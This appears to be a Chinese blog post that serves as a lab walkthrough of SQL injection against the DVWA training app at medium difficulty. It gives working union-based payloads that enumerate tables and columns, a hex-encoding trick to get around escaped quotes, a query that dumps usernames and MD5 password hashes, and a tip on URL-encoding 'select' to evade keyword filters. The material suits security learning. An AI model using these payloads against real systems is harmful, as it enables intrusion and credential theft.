标签搜索

DVWA medium SQL_injection

小七
2023-01-04 / 0 评论 / 85 阅读 / 正在检测是否收录...


刚好讲到需要一个有防火墙的环境来演示SQL注入,老师采用dvwa来演示,我也搭建一个dvwa环境来试试。
首先进来,将困难模式调到medium ,点击SQL injection,来到第一个页面,显示如下:
image.png
这里就是点击之后的显示了,提交方式为post,我们开启抓包软件来进行分析
原始数据:id=1&Submit=Submit
通过多次分析,他会将各种符号进行转义,我们直接执行id=1 and 1=1&Submit=Submit
成功改变页面显示并且没有报错
image.png
然后通过id=1 union all select 1,2&Submit=Submit 来判断他数据库输出有几列,很荣幸,一次出来了
image.png
然后我们将显示位2改为database()
这样就直接得到数据库名:dvwa
image.png
然后就是老规矩的语句了
select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=database()
得到了guestbook,users
image.png

接下来就是取列了
select group_concat(column_name) from information_schema.columnS where TABLE_SCHEMA=database() and table_name='***'

这时候就会发现,单引号被转义了!!!

image.png

这时候利用hex()来过掉。
select group_concat(column_name) from information_schema.columns where TABLE_SCHEMA=hex(%64%76%77%61) and table_name=hex(%67%75%65%73%74%62%6F%6F%6B

结果还是报错


最终在数据库测试,得到以下语句:
select group_concat(column_name) from information_schema.columns where TABLE_SCHEMA=database() and table_name=0x7573657273
这样就能得到里面的表名。
user_id,first_name,last_name,user,password,avatar,last_login,failed_login
image.png

然后再执行
id=1 union all select (select group_concat(user) from users),(select group_concat(password) from users)&Submit=Submit
得到了数据:
First name: admin,gordonb,1337,pablo,smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99
接下来就是解码啥的了

总结:本次在入侵时被符号转义拦住了,采用16进制过掉。

意外发现:select语句,直接用%73%65%6C%65%63%74 能直接执行,以后要是屏蔽select,可以用这个方法尝试

1

打赏

海报

正在生成.....

评论 (0)

取消